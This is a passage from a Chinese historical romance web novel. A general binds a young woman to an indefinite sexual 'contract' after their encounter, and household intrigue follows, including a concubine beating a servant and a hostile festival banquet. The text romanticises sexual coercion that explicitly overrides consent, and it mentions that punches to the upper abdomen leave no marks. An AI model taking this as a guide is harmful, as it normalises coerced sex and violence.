在山和海的无数次磋磨中，男人尽情释放自己。汹涌潮水散尽，他感到前所未有的疲倦，身体仿佛被掏空。
时枫啐了一口，“真他娘的痛快。”
他并不急着更衣，而是单膝搭坐在塌边，换了一盏杯，继续啜饮那壶没喝完的糯米酒。
午后清风拂面，吹不尽心头疑云重重。
去而复返，只因迷惑于苏绾的“嫁衣”一说，欲跟她当面问清楚，不曾想却撞见她疯痴模样。
自将她抱在怀里那刻起，所有怒火烟消云散，嫁衣不嫁衣，已不重要，唯剩怜悯与愧疚。
她所谓的“不情之请”，对他来说，亦非绝不可为。兄弟情谊再深，也不得凌驾于违逆女子意愿之上。
他足足想了一个时辰，前因后果，清晰明了。他已下定决心，以他伟岸之躯，庇佑她前行。
哪知他不过逗弄她几下，竟被疯婆娘怼得怒火攻心，做出过激龌龊之举。
他以为，苏绾这般投怀送抱，总不至于完全没有经验。单那合欢散一物，就非平常闺阁女子所熟识。
可她竟是干干净净，清白之身。
倒显得他仗势欺人，侮辱良家妇女。
这一仗，看似他大获全胜，实则反被对方拿捏把柄，落得进退两难的境地。
但他输得心甘情愿。
苏绾缓缓坐起身，手指粗略拢束散发，露出光滑如玉螓首。腕间一点朱砂痣消失无踪，唯剩一段洁白无瑕玉臂。她扯过泥金褙子，披盖身体，遮掩春光澹宕。
“如今奴家有资格上牌桌了吧。”
时枫没有回答，他穿上石青色丝袍，往腰间系蹀躞带。后背衣襟有些褶皱，苏绾跪在身后帮他整理。她动作麻利，似小夫妻般淡然默契，令时枫颇感新奇。廿二年独鹤松影薄，身边未曾有半个女伴，还被邵云礼嘲笑有“断袖之癖”。
他知道，天下没有免费的午餐。
诚然如此。
时枫侧目而视，冷冷说道：“过去种种，皆已偿清，你情我愿，咱们谁也不欠谁。”
“今后的事，按生意论，一笔一笔交易，无论巨细，白纸黑字立下字据。我帮你办一件，你偿我一夜卿。”
“以后只要你欠我的人情，无论你身处何地，正做何事，也无论你想不想，愿不愿意，我想睡你的时候，你都必须履行义务。”
“合约期限，未定。”
时枫转过身，居高临下睇着苏绾，负手而立。日光泼洒他半边坚毅面容，半明半暗，深沉莫测。
“不行，我不答应。”苏绾站起身，抬腿作势要走。
“那谁帮你取出体内的七根针呢？谁又能为你作证，逮捕苏夫人呢？”
男人饧着眼，轻飘飘道：“你没有退路。”
“你……无赖。”苏绾怛然失色，眼前这个人，跟前世一身正气不近女色的绥靖王，还有半点关系？
时枫勾了勾唇，“你才知道，我可是坊间有名的‘冷面阎罗’。跟我打交道，能有几分胜算，你该有自知之明。”
道高一尺，魔高一丈。
她之初衷，欲以清白之身，换取他协助退婚。虽未敢奢望一睡抵万金，但婚期只剩四月，左不过三五次，最多七八次，也有个定数。
可对方竟然驳回她的条件，改写为“随叫随到，期限未定”，明摆着要将她吃干抹净，无限制拘禁奴役她。
是的，她没有退路。
走一步算一步，谁先认输还不一定呢。
苏绾低下头，沉寂半日，细声道：“你能下手轻一些吗？”
见她终于肯松口，答应“丧权辱国”之不平等条约。时枫的脸色没有任何变化，依旧冷冰冰模样。心里却好似召开水路道场大会，叮叮当当，锣鼓齐鸣。
苏绾让他尝到甜头，他食髓知味，便不想撒手。手段是卑劣些，但他又不是卫道士，谁让她先来招惹他？要他屈身做一颗棋子，任由人摆布，痴人说梦。
“很好。”时枫扯下腰间松花汗巾，碾着苏绾咬出血的唇瓣，“你乖一点，我自会帮你解决问题。既找上我的门，绝无教你一无所获，另寻出路的道理。”
苏绾木讷地任由他磋磨，心中一夕千念。伴君如伴虎，倘若有朝一日被兽反噬，她也怨不得别人。
她默默穿上绮云裙，前襟已被扯烂，散开在胸前，好似此刻破锣心情。
“收拾一下，乱得不像话。”男人冷冷发号施令，语气不容分说，俨然将军做派。
这里这么乱，还不都是你弄得！
苏绾怨恨地瞪他一眼，起身整理满屋狼藉，故意摔摔打打，弄出嘈杂的声响，发泄心中怨愤。嘴里
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不停碎碎念，这人真是属狗的，胡乱咬人不说，所到之处，堪比飓风过境。
时枫长出一口气，自初见苏绾算起，足足郁卒憋闷俩月，如今总算守得云开见月明。
“春月坊段公子，天桥算命书生。”男人单膝支立，搭在塌床边，饧眼佻望苏绾忙碌，“你算计来算计去，有否算准这结果？”
苏绾俯身拾起东倒西歪的酒盏，懊恼道：“我不过是只小狐狸，哪里斗得过你这只千年黑熊精。”
“知道就好。”男人嘴角一斜。
无所谓，先用一纸契约牵绊她，剩下的日子，慢慢追查她的那些秘密，也还来得及。
时枫忽然感到肚饿，折腾整日，粒米未进。他大步走出房间，两手撑住廊间栏杆，吼道：“晴雷。”
晴雷伫立八仙桌一角，剪着两条手臂，睇着木凳上气鼓鼓的姑娘。
“口渴吗？我叫壶茶给你。”
“不渴。”无霜没好气似地答道。
“肚子饿不饿？他家的牛舌饼很好吃。”
“不吃。”无霜言简意赅。
晴雷犯了难，他领命“安排照顾”她，可他站在这里一个多时辰，对于他的示好，对方丝毫不领情。
他并不觉得厌烦，反而很享受当下。那股淡淡栀子花香，迷了他的眼，冲散他全身倦意。
“至少告诉我，你的名字。”
无霜瞥了他一眼，少年负手而立，眉眼弯弯，正对着她笑意盈盈。她无端心跳停了一拍，胸中一口气没上来，差点呛到自己，咳嗽声不断。
晴雷眼疾手快，不知从哪里端出杯茶，倏地递到无霜面前。
“不烫，亦不苦。”
动作干脆利落，毫不拖泥带水，惊得无霜瞪圆眼睛，这就是兵家侍卫的本事吗？
她愣了半日，也未搭理晴雷，倒让少年心思乱转，以为她还在生气，遂将时枫腹诽一通。
“晴雷，狗东西，还不快上来。”
时枫喊过两遍，才见晴雷慢腾腾趸上楼梯，拜道：“爷有何吩咐？”
时枫嗔道：“你跑哪儿去了？叫一桌饭菜，伴香粽，再来壶烧酒。糯米酒太淡，我不爱喝。”
晴雷揶揄道：“爷不爱喝，还叫两壶。”
时枫一脚踢过去，“混账东西，叫那婢女上来。”
无霜缘阶而上，一路低着头，不敢抬眼睇时枫，匆匆欲进房，却被时枫叫住。
将军负手而立，瞥了一眼房内坐着的世家小姐，沉声道：“你家小姐可曾有过病史？发作起来不认人，两耳失聪，双目不明，神志也不清醒。”
无霜一脸震惊，摇头如拨浪鼓，“将军此话怎讲？我家小姐向来温婉娴静，外人面前一贯低调，哪里会有发疯模样？别是将军威压欺人，小姐身子骨荏弱，吃不消罢。”
小姑娘语气有些不敬，时枫也未在意，摆摆手让无霜走了。心里思绪繁乱，疯症癔症病根一事，蹊跷难解，还需多加观察。
无霜见苏绾安好，心里石头落地，她上前拉着苏绾的手，悄悄问道：“小姐可曾受委屈？”
苏绾苦涩地一笑，岂止受委屈，今日一役，她赔进去全部尊严和自己。
无霜方才注意到，苏绾的衣裙破烂不堪，脏污一块块，瞥了一眼时枫，没好气地问道：“怎么下手这样重？不把人当人看啊。”
苏绾收紧泥金褙子，尽力遮挡胸前破烂，她哪里还算个人，她是猎物、食物、标价的底物。
酒菜摆满一桌子，都是些时令小菜，还有糯米红枣粽子，以及一壶二锅头。
时枫问道：“你们不吃吗？”
晴雷右手扶雁翎刀，左手剪在后背，昂首挺胸道：“属下不饿。”两位姑娘不上桌，他做侍卫的，也不好大剌剌入席。
“没问你。”时枫怒道。
苏绾坐在木塌另一边，距离时枫较远。她完全没有胃口。她被人吃干抹净，哪里还能吃得下饭？猛兽嘴下猎物，没有吃食的权利，只有被吃的宿命。
时枫风卷残云般大快朵颐，他在兵营养成速食习惯，动作有条不紊，不失斯文。
酒足饭饱，时枫环顾四周，拾起那条松花汗巾，上面沾染点点血痕。他也不嫌弃，抓着汗巾擦拭嘴角，戏谑道：“我在苏府埋了眼线，你的一举一动，都在我的两眼注视下。收起你那些无谓的小心思小伎俩，有事交给我来处理。”
男人故意冷冷道：“一码归一码，超出约定范围，你自行抽丁拔楔，本将军无暇理你。”
这个家伙属猴子的，一点亏都不肯吃。苏绾咬着嘴唇，“人贵有自知之明，我不会死皮赖脸纠缠你。”
时枫冷笑一声，“那是最好。”
用毕午膳，时枫回府处理事情，打发晴雷给苏绾叫辆马车送回家不提。
福建都指挥使沈恪，受命进京觐见圣上，车队已临京郊，傍晚即可进城。沈老将军与时枫父亲乃故交，进京第一站下榻时将军府，行程早已安排好。
时枫在醉仙楼耽搁大半日，芙蓉帐暖度春宵，差点延误正事。不禁低头慨叹，妖精果然还是妖精，自古英雄难过美人关，他算是尝到厉害了。
假若真如她所说，一切筹谋策划，只为解除婚约，为何不亲自去同温如初商榷，偏要拉他做中间人，是否多此一举？
时枫沉思片刻，手指敲了敲车橼。
晴雷骑着马背，与马车并行。马蹄刮剌剌响，脑子里浮现出栀子花姑娘的笑脸，懊悔自己还未问到她的名字。
蓦然听见敲击声，晴雷收住思绪，俯下身子问道：“爷有何事？”
车内传来深沉声音：“打探一下苏绾的底细，顺便查查温如初近几年的行动轨迹。”
晴雷回道：“遵命。”
车内人掸了掸石青袍子浮尘，鼻尖耸了耸，抬起袖口嗅了嗅，一股子淡淡的鱼腥味直冲鼻翼，男人不禁蹙了蹙眉。
这也难怪，他抱着苏绾卧倒一个多时辰，体服相触，身上早就沾染她的味道。
只是，为何是股鱼腥味？
26. 门神
苏绾回到紫竹苑，换下破烂衣裙，沐浴更衣。才刚坐下来休憩，芸娘摇曳而至。
“你去哪里疯玩，怎不叫上我？害我一个人，端阳佳节空寂寥。”
芸娘一屁股陷进铺软垫的圆凳，拣木盒盛放的香囊凑近鼻子嗅嗅，娥眉轻轻一蹙。
苏绾栽歪躺在厚实软褥，声音有气无力，“温侍郎约我吃酒，这会子才刚回来。你没让老爷带你去江畔观赛龙舟？”
大概嫌城里的香囊气味不够浓郁新鲜，芸娘将香囊丢回盒内，翻着白眼，“老爷一早被叫回上院过节去了，我哪敢再问人家。”
芸娘气恼十分，早在半月前，她已派人预定江畔阁楼绝佳位置，食香粽，熏艾草，观看赛龙舟。
苏君识答应地好好的，端午陪伴她度过，为此她还将宝哥儿专门送到乳娘处喂养——
自从上次闹腾过后，乳娘再不敢胡来，唯唯诺诺，安分守己，生怕一不小心丢了差事。而宝哥儿经过训练，已渐渐熟悉并接纳乳娘，可以自由吮乳。
芸娘本就性格直爽之人，别人不招惹她，她也不会作威作福。敌人既已式微，她便放心把宝哥儿交出去。
初五清晨，芸娘一早起床，叫婢女悬艾蒿于门户，以禳毒气。她亲自下厨，用箬叶包四十糯米红枣香粽，屉笼蒸熟。还预备佩兰煎水沐浴，要同老爷“鸳鸯戏水”。
待一切就绪，芸娘袅袅婷婷趟过长廊，招呼苏君识起床更衣——昨晚“伺候”老爷勤劳些，这会子日照房门帐未开，苏君识依旧呼呼大睡。
恰时门外传来一阵吵闹声。
“夫人有话，要请老爷回府。耽搁府里正事，叫你们这院里所有人，吃不了兜着走！”
说话之人正是看门刘嬷嬷，掐着水桶腰，吊着斜飞眉，颐指气使。她用词刁钻，张口闭口“回府”，好像紫竹苑不归属苏家一般。
扫院的婢女被训斥地一愣一愣，“老爷尚未起身，嬷嬷请稍候片刻。”
刘嬷嬷却是不肯，她拿了鸡毛当令箭，非要给人下马威不可。
“你算哪棵葱，也配跟我发号施令？叫管事的人出来。”
声音响亮，震落一山竹叶。
芸娘隔着老远闻听此话，气不打一处来，“哪里飞来只老母鸡，叽叽喳喳抱窝，吵死人了。快点轰出去。”
婢女得令，手中扫帚一横，横扫千堆雪，将刘嬷嬷挡在门外。
刘嬷嬷待在苏家二十载，从烧火丫头，一路扫过院，倒过马桶，洗过衣服，磨过豆腐。好不容易爬到油水颇丰的看门闲职，岂能被小小婢女看扁？
“没教养的东西，谁给你的胆子，敢跟老身叫板？”
刘嬷嬷一边指桑骂槐，一边伸出双手，死死攥紧扫帚把柄。先来一出“金刚怒目”，震慑对方心魄。再来一招“龇牙咧嘴”，空口作势咬人。
婢女果然吓了一跳，她才进府两月不到，还是新手，哪里见过这阵势，慌忙向后夺扫帚。一拉一扯两个来回，竟被人连拉带扯拽出门去，空中徒留一声惊呼：“啊——”
刘嬷嬷趁虚而入，滋溜钻进门里。难为她四十余岁，身手矫健如山猫。
“啧，小崽子不知天高地厚，叫你尝尝我的厉害。”
刘嬷嬷迤迤然抖抖缎面褂子，绣鞋踩着满地竹叶，摇曳向芸娘走来，笑着摇手招呼：“二奶奶端午安康。”
仇人相见，分外眼红。
芸娘咬了咬后槽牙，“老爷没空，你改天再来罢。”
“哟，瞅瞅二奶奶说的什么痴话，老爷有空没空，由你一个外室说了算？你有那胆子假传圣旨，也不怕大祸临头。别搞得最后卖到窑子里，哭天抢地抹眼泪儿。我倒是愿意搬条板凳，坐下来瞧热闹。”
没想到刘嬷嬷转换战术，既不冷嘲热讽，也未假充好人，改作直楞楞威胁。
占卜一案，刘嬷嬷因诱敌兜圈有功，一跃而上，成为苏夫人门下第一号狗腿，说话也带着王者霸道气势。
她扬着眉毛，满脸老褶子放光，“要论起辈分来，你还算不得二奶奶，顶多不过老三。你晓得吗？在你之前，还有一位姨娘呐。”
刘嬷嬷双手比划，翘指称赞：“那位姨娘哦，啧啧，模样比你俊俏，身段比你柔软，嗓子比你婉转，琴棋书画，样样皆通。老爷喜欢得不得了，藏在行院整整八年，银子花费无数。”
突然话锋一转，刘嬷嬷厉色道：“谁知姨娘嫁进门，吃里扒外，搭钱勾引旧日恩客。一朝被人发现，夫人捆了她手脚，罚她浸猪笼。”
“你们乡下，有不少人被浸猪笼吧？啧啧，浑身上下戳一百个血窟窿，血水汩汩冒，染红半条江。水里的鱼虾螃蟹，成群结队顺着血腥味就来了，扑棱扑棱地咬肉吃，没一会就给啃光，剩一副骷髅骨架。”
她讲得绘声绘色，亲眼目睹一般，让人不寒而栗，顿时让芸娘后背起了一层白毛汗。
她虽然隐约知晓一点关于苏绾娘的消息，但也净是粗枝末叶。如今从刘嬷嬷嘴里说出来，没想到竟是这般惊心动魄。
“你跟我说这些劳什子干嘛？跟我有何关系？”平白无故跟她掰扯深宅大院秘辛，摆的是何居心。
刘嬷嬷狡黠地眨眼，“这里面关系大着呢。二奶奶也别不信，这人吧，无论多清高孤傲，总归有落人把柄的一日。俗话说：别看眼下蹦的欢，小心将来拉清单。”
“你什么意思？”芸娘听她语气不善，心里琢磨对策。
刘嬷嬷笑道：“二奶奶是聪明人，晓得这里面的利害关系。莫要学姨娘那样，不识抬举，落得沦为鱼饵的下场。”
恰时一阵黄雀风过，吹迷刘嬷嬷的眼，满脸褶皱霎时翻倍，好似萎蔫的菊花，又干又皱。
可恶。
倘若换做旁人——足不出户的小家碧玉，早被她这套“喂鱼”说辞，吓破胆子，不敢质疑驳斥，乖乖任由摆布。
但芸娘是生长在田间的野花，生命力顽强，傲雪凌霜，绝不会被城里的婆子吓倒——乡下的农妇发起疯来，比这可恐怖的多，一把砍刀剁碎全家男人。
须给她点教训尝尝，叫她不敢暗地使坏。
“我臊你娘的八辈祖宗……”
芸娘是个心直口快的人，敌人对她恶言相向，威胁要拿她把柄，送她喂鱼，她保准叉着腰，将对方八辈祖宗翻遍，挨个提点。
可她突然换了脾气，骂人话只开了头，便戛然而止——老爷尚在房里歇息，哪个缺心眼子瞎吵嚷？
眼见嘴上功夫不成，芸娘犹豫片刻，起手一拉裙角，露出光洁的小腿，踩着鸳鸯绣鞋，一脚跨过齐腰高的围栏，探入百花丛不见。
蔷薇荆棘刮喇裙裾，阻挡前行步伐，芸娘咬紧嘴唇，用力一扯，硬生生扯掉半条百褶裙裾。
她将破烂衣裙豪横一甩，昂头继续砥砺前行，好似一条青绿色的游鱼，穿梭徜徉花海。
“你、你想干啥？”刘嬷嬷看得惊奇，不晓得姨娘又发哪门子疯。但她知道绝没好事，身子不由自主向后靠了靠。
芸娘加快步伐冲刺，三步并作两步，踏着青石板助力，一个猛子扎到刘嬷嬷跟前。
趁着嬷嬷慌神之际，单手攥拳用力击打嬷嬷胃部。仅仅那么一夯，登时捶得嬷嬷一句话说不出来，佝偻身子，摇摇欲坠。
“你个老逼登，也配跟我大呼小叫。不过一条癞皮老狗，竟敢骑我头上拉屎。看我打得你满地找牙。”
芸娘伸展有些麻木的手，一张一合活动筋骨，全程动作潇洒利落，犹如江湖侠客，武林高手。
若论功夫，她一个乡野妇人，断然一窍不通。可她从小在田间摸爬滚打，跟小牛顶犄角，与牧童摔把式，她可是一等一的厉害。她晓得如何运用寸劲，一拳打得对方满地打滚喊娘。
经验告诉她，集中火力专打上腹，除非对方肌肉坚硬暴起，否则普通人根本扛不住，并且不会留下任何痕迹。
芸娘恨道：“这一杵子，是为报复你乱嚼舌根，无事生非，通风报信之仇。尤其前几日，害我被关进小黑屋，叫天不应，叫地不灵，忍饥受冻足足捱了两日。”
“打从我进门那日，你就没给我好脸子看，处处刁难我，欺负我乡下来的没势力。”
“拿姨娘吓唬我？老娘放话在这里，借你一百个胆子，你敢使一点坏，剁成肉酱喂狗吃。”
“不过是苏家豢养的一条癞皮狗，狗仗人势，骑到我头上来，瞎了你的狗眼。”
“今日这份冤屈，你大可随便说去，不是长了一张爱告状的嘴巴？我倒要看看，有谁会相信你。”
刘嬷嬷跪倒在地，一手支撑身体，一手捂住腹部，脸色苍白，豆大汗珠滚落。
她四十岁正当壮年，身板硬朗无大病，顶多肠胃
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不太好。想是上了年纪，吃不消油腻。
这一击不偏不倚，正打在她的胃部，直打得她满眼开金花，一个劲吐苦水。汗液滴进眼睑，辣的她睁不开眼，拼命用袖口剐蹭。
心中悔恨不已，怎就沦落到这一落魄局面。扪心自问，她并不嫌恶芸娘，相反，还有些寄人篱下的同命相怜之情。
若说深仇大恨，她跟芸娘八竿子打不着：一个府中生活多年的老奴婢，一个乡下才嫁进门的新姨娘。论身份地位，谁也不比谁高贵到哪里去。
她是憎恨芸娘的反叛不屈，不肯向高门大户低头。都是困囿于泥巴坑里的泥鳅鱼，凭什么芸娘拽得二五八万一样！
心下一横，刘嬷嬷跪地强撑住身子，翻身盘腿坐在地面，咳嗽两下，“咳咳，人老就是不中用。给猫爪子挠一下，嗓子眼儿刺挠半天。”
她捶弄胸口，“时代变了，人心不古，哪像十年前那般老实厚道？人说什么，就是什么，一点不带还嘴的。”
“对付这种尖牙利齿的小畜生，就得有耐心才行。反正我老不死，有的是时间和精力。”
老眼皮一翻，阴笑道：“你猜，姨娘她到底有没有偷人？”
“你、你是说……”
刘嬷嬷话里话外，有两层意思：其一，苏绾娘当年惨遭沉塘，是被人陷害的！其二，刘嬷嬷一干人等，同样不会放过她。
这些人像黄鼠狼一样，隐藏在暗处，等待可乘之机，诬陷她清白，叫她陷入沉沦地狱。
芸娘咬了咬嘴唇，敌人在暗她在明，再好的人，也防不住阴沟里躲着的癞皮狗咬。
刘嬷嬷挺着惨白老脸，身子向前探了探，咧嘴一笑，“如今老爷，还有空没？”
日上三竿，光影稀薄，菖蒲花发五云高。淡淡的艾蒿香气氛氲，缭绕刘嬷嬷皱皱巴巴老脸，枯木逢春犹不死。
那老树发花的得意，闪了芸娘的眼。她低低垂下头，看脚面游弋的两只鸳鸯，中间始终隔着不可逾越的鸿沟。而敌人的大棒，不知何时就要打到头上来。
独行的野牛，挡不住群狼暗袭。她需要一位帮手，联合对抗大棒夯击。
正犹豫之际，忽然身后传来一声：“何事惊扰？”
众人皆大吃一惊，转身望去，原来是苏君识。穿着芸娘新做的衣褂，不远不近立在长廊，想是被二人争执吵醒，又或者下人报信。
“老爷。”芸娘连忙捉裙，踩着嫩草，兜了一圈向长廊奔去。
那边刘嬷嬷也利索爬起身，隔空抢着喊话道：“老爷，舅爷家八百里加急，递来鸡毛信！”
“什么？”
苏君识一听，立马提着长褂，一路疾走过长廊，绕到刘嬷嬷跟前，“何时来的信？怎不早来通报？”
刘嬷嬷弯腰拜道：“辰时三刻才到，夫人急急派老奴来西院通报，这不门口耽搁一阵子。”说着，拿眼皮瞟了一眼芸娘。
芸娘正立在灌木丛中，急道：“老爷，听妾解释……”
苏君识却是根本不理睬她，只一面往门外走，一面头也不回说道：“我去去就回，午膳不必等我。”
“哎？那赛龙舟……”
话音未落，苏君识已不见踪影，刘嬷嬷趁机也跑了。真难为她，挨了芸娘一杵子，依旧健步如飞。
只剩芸娘独处百花丛中，好似一杆孤零零的鸢尾花。
微光旖旎，转朱阁，低绮户，映照有恨无人省。
芸娘将木盒一推，恨道：“这下子好了，计划全部泡汤。这个端午节，过得真窝囊。”
苏绾感到有些纳罕，殷舅舅这时候来信，恐怕并非佳节问候那么简单，一定有变故发生。
她安慰道：“往日端阳热闹，持续三日才消。今天去不成，明天再去罢，叫人延长订位即可。”
芸娘不解气，又将香囊拾起来，攥在手里，“我不是气这个，凑热闹的事，错过就错过。我是恨那老不死，竟敢明摆着威胁我，还要抓我把柄。这口恶气憋在心里，不吐不痛快。”
她抬头望向苏绾，咬牙切齿道：“你可得帮我，咱俩拧成一股绳。不为我出气，也要为你娘报仇！他们陷害坑杀你娘，绝不能放过他们！”
苏绾睇着窗外一角悬挂的纸葫芦，随风轻轻摆动，大的小的缠绵一团，怎么都无法分开。
说的对，弑母之恨，血债血偿。
27. 家宴
古院静谧，红日西斜，余晖洒满天地。树影斑驳，花香袭人，百鸟眷恋归巢。亭台楼阁，错落有致，晚春暮色酽酽。灯火初上，烛光摇曳，缭绕温馨气息。
这一派和谐太平盛世，不过是掩盖大家贵族千疮百孔的假象。如同一块打满补丁的遮羞布，从拙劣针脚缝隙中，依稀可见人性充满罪恶的丑陋与贪婪。
苏绾怀里抱着宝哥儿，细柳垂绦，摇曳走在青石板铺就的路面，一路心事重重。
后面跟着无霜，手里提一篮水晶豆沙粽，小巧玲珑，白日里她趁苏绾不在，自己包的。
再其后是芸娘，带着丫鬟，另外一个是乳娘。三人大包小包，装载的尽是些瓜果搞点，葫芦艾蒿一类礼品。
夕食将近，东院来人通告，叫紫竹苑所有人即刻归府，参加苏府端阳家宴。
虽说苏家有举办家宴的传统，然则今年与往年不同，芸娘新娶入门，东西分院而住。诸如端阳此等节日，主旨在街市热闹，本不必大张旗鼓召人回去。
别又是一场“鸿门宴”。
宝哥儿一岁多，正是牙牙学语时，小小身子蜷缩苏绾怀里，糯糯唤道：“阿佳（姐）～”
“怎么了？宝贝。”苏绾没听清楚。
她摊开怀抱来看，奶娃娃睁着黑豆似的眼睛，冲她咯咯笑，两只小胖手搂住她脖颈，红扑扑小脸蛋向她脸颊磨蹭。
“阿佳（姐）～”
听得苏绾心里一抽，瞬间融化成一滩春水。这是宝哥儿第一次喊她，心中那份欣喜不亚于初为人母。
她从宝哥儿身上，看到自己当年的影子。而芸娘，就是她娘亲的化身。一对苦命人儿，伶仃洋里过伶仃，怎经受得住苏家暴风骤雨般摧残？
上一世，她从未有机会遇见芸娘和宝哥儿，也不知他们最后出路如何，但总归落在苏夫人手里，不会有好下场。
这一世，既然上天安排这段姐弟缘降临，她就要扛起做姐姐的重担，用她的臂膀，庇佑她们母子俩砥砺前行。
苏绾摸摸宝哥儿后脑，蹭蹭光滑的额头，“宝贝乖乖～阿姐最疼你。”
芸娘上前，“累了吧，还是我来抱，他重的很。”说完伸出两手，要去抱宝哥儿。
苏绾还未动弹，宝哥儿倏然缩紧身体，摇晃小脑袋，嘴里呶呶：“阿佳～”
芸娘纤眉一扬，“臭小子不听话，阿娘打屁屁。”
宝哥儿遗传芸娘的倔强性格，任凭芸娘怎么要他都不肯，趴伏苏绾肩头，啃湿她的肩膀。
“算了，我抱着挺好。”
按道理，苏绾被某人欺凌霸占，梅开二度，身子骨虚弱无力。但不知何故，她感觉不到一点乏累，也不想松开怀抱。
那团白白暖暖的肉包子，仿佛生在她身上，与她合为一体，叫她怎么舍得放手。
芸娘叹气道：“你就宠他吧，回头他粘上你，离不了身，看你咋办。”
苏绾亲亲宝哥儿小脸蛋，笑道：“离不了身，我就抱走，走到天涯海角，我自己养他。”
芸娘两手一摊，眉眼弯弯，“抱走抱走，你做一品诰命夫人，宝哥儿也能沾光。”
突然眼眸一低，又黯然道：“总好过跟着我这没用的娘，屈生这狼巢虎穴，手无缚鸡之力，白白葬送性命。”
刘嬷嬷的话语萦绕于耳际，唬破芸娘的胆子，让她有些患得患失。
苏绾知晓她的顾虑，安慰道：“你莫心急，说好了你帮我想赚钱的法子，我帮你对付苏家。我说话算数，断没有叫你单打独斗的道理。”
她一手抱着宝哥儿，另一只手拉着芸娘，向前快走两步，低声道：“咱们第一个麻烦就是刘嬷嬷，想要除掉她并非难事。我心里已有筹划，保准让她吃不了兜着走。”
芸娘一听，两眼放光，“真的吗？”转眼又虑道：“可她背后有女大虫撑腰，咱们能怎么办？”
“只怕到时候，没人帮得了她。”
夕阳散尽最后一缕余晖，映照苏绾冷漠的眼眸，暖光生寒意。
芸娘不禁打了个寒战，眼前女子孱弱之身，却散发出冷戾刚毅的光芒，令她感到陌生，她似乎从来不曾真正了解过苏绾。
金乌西沉，银钩东升。
苏绾一行人到达正厅时，人头攒动，热闹非凡。婢女来来回回上菜，桌案摆满美酒佳肴。
江浙一带端阳有吃“五黄”的习俗。江南传统中的五黄是指黄鳝、黄鱼、黄瓜、咸蛋黄和雄黄酒。
苏夫人自小长在江南水乡，后来即便嫁入京城，也保留家乡习俗。每逢端午这样的节日，苏家会早早收到远在浙江寄过来的果品，提前准备“五黄”。
苏绾来到厅前，放下宝哥儿，自己先去后厅拜见父母，任宝哥儿晃动颤颤的小胖腿，忙着去抓香果盘里的枇杷。
旁边一个婆子见状，趁人不注意，竟伸出老手，“啪”得一下，打在宝哥儿的小胖手。手里的枇杷应声落地，骨碌碌滚回盘中。
那一下想必打狠了些，疼得宝哥儿龇牙咧嘴。又不会说，只能流着眼泪叫娘。
正值无霜领着乳娘他们去后厨卸载礼品，苏绾又不在身边，偌大厅堂，竟无一人上前喝止婆子。
芸娘急了，猛地推搡婆子，直把她推倒在地，“入你娘的老鳖孙，敢打我儿子。”
一推一倒，现场立刻聚集一群人。
婆子坐地干嚎，“冤杀老奴。小少爷自个儿摔手砸盆子，老奴不敢撒谎。”
芸娘气不过，揪起婆子的衣领，嗔目道：“睁眼说瞎话。你当没人看见么？敢不敢跟我去老爷面前对峙？”
那婆子当然不肯依，但也决然不松口，“二奶奶冤枉老奴，老奴死不瞑目。”
她说得信誓旦旦，旁边人连声附和，又没有人站出来作证，倒显得芸娘无理取闹。
人群开始窃窃私语。
“不愧乡下来的，嘴巴厉害着呢，手脚又有力气，整个一野蛮人。”
“头阵子不是把乳娘打了？虽说情有可原，但有话好好说嘛，君子动口不动手。”
“我听说，晌午刘嬷嬷也吃她一计闷拳，好悬没把苦胆打出来。没理由，纯粹看人不顺眼。”
“啧啧，家里养着这么一尊女霸王，指不定哪天得罪她，你我小命难保。”
风言风语传进芸娘耳朵，让她感到怒不可遏。又不是她无缘无故发脾气，分明被对方骑到头上，而她忍无可忍。
芸娘松开手，环顾四周，一眼瞟见看门刘嬷嬷，正倚靠门框，手里抓着一把毛嗑，看热闹好不自在。
那一瞬间，她突然感到，灵台一片清明，犹如醍醐灌顶。
这就是苏家陷害她的手段。
设计陷阱诱导并逼迫她出手，把她塑造成手段凶残的疯癫婆娘形象，离间她和老爷等人的关系。再随便找个借口，诬陷她伤人，将她“绳之以法”。
当年他们陷害苏绾娘，手段如出一辙。
满屋的人潮涌动，对着她指指点点，无数根手指头，简直要戳破她的脑袋。
这屋子里所有人，都想要她死！
除掉一个刘嬷嬷，还有无数个张嬷嬷，李嬷嬷等着她。无论男女老少，全部都是帮凶，踮着脚尖祈盼她不得好死，舆论形成一张天罗地网，让她无路可逃。
昏黄的烛光摇曳，映照无数张狰狞面孔，鬼魅獠牙，血盆大口，要将芸娘母子吃干抹净，连骨头渣子都不剩。
熟料那边的苏绾，也得出相似的结论。
苏绾进得后厅，却见堂前端坐苏家家主苏君识伴苏夫人，旁边站着嫡子苏尽欢。
一家三口，整整齐齐，颇像城隍庙里的神像，连表情都一致：横眉竖眼，龇牙咧嘴，金刚怒目，菩萨低眉。
苏绾上前一步，对着苏老爷苏夫人福身，“女儿恭祝父亲母亲，端午安康。”
一见苏绾
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面，苏尽欢最先站不住脚，捋起两袖，猴子般窜上前，扯住苏绾衣襟，恶狠狠道：“苏绾，你这小婊子，撺掇我爹不回家，气得我娘夜夜流泪至天明。本少爷须好好教训你，看你还敢得意忘形。”
他对苏绾一向直呼其名，毫无礼仪尊重可言。头两年，数他骂她“娼妓”骂得凶，嚣张程度不亚于苏沅芷。
哪知苏绾用力一抽，甩掉苏尽欢的手，稳稳退后一步，满脸嫌恶，“没大没小，毫无教养，真是糟蹋粮食。”
往日里，苏绾可不是这般疾言厉色，每每低头不语，活像木头桩子，三棒子打不出一个屁。
苏尽欢“嗷”得一声，不停揉搓手背，扭头看向苏夫人，委屈地直咧嘴。
他从不跟女人动手，不知道的还以为他是有修养的绅士，其实就是欺软怕硬罢了。
苏绾甩甩手腕，垂眸道：“舅舅来信了？”
苏夫人端着茶碗，啜吸一口龙井，闭目养神半日，放下茶碗，哼着鼻腔道：“才刚送到的，也没说什么，问候我苏家安否。”
苏夫人态度佻然，不屑一顾，可任谁都能看出，她那心底隐藏的暗喜，昭然若揭，止不住地溢出。
殷潜布政使乃朝廷封疆大吏，掌控江南一带包括苏州、南京、杭州在内的富庶水乡，地位举足轻重。
苏绾心内暗忖，如今殷潜要出手，总不为对付她小小庶女，多半冲着温如初而来——大约是那封悔婚书造成的结果。
但她猜不到殷潜会拿出何种策略手段，来惩治她俩。婚约愈近，容不得半点差错。
烛影憧憧，苏绾感到头晕，就近拣了张木凳，坐下来，心里止不住地慌乱。
很快，苏夫人给了她答案。
苏夫人丹凤眼翻了翻，阴笑道：“怎么，害怕了？脸色瞅着不对，你舅舅很是挂念苏二小姐的身体哟。”
苏绾没有回怼，她在思索策略。
苏君识在旁，不正不当呵斥，“你母亲问你话呢，舅父担心你安危，你怎么一点表示都没有？我真是白养你。”
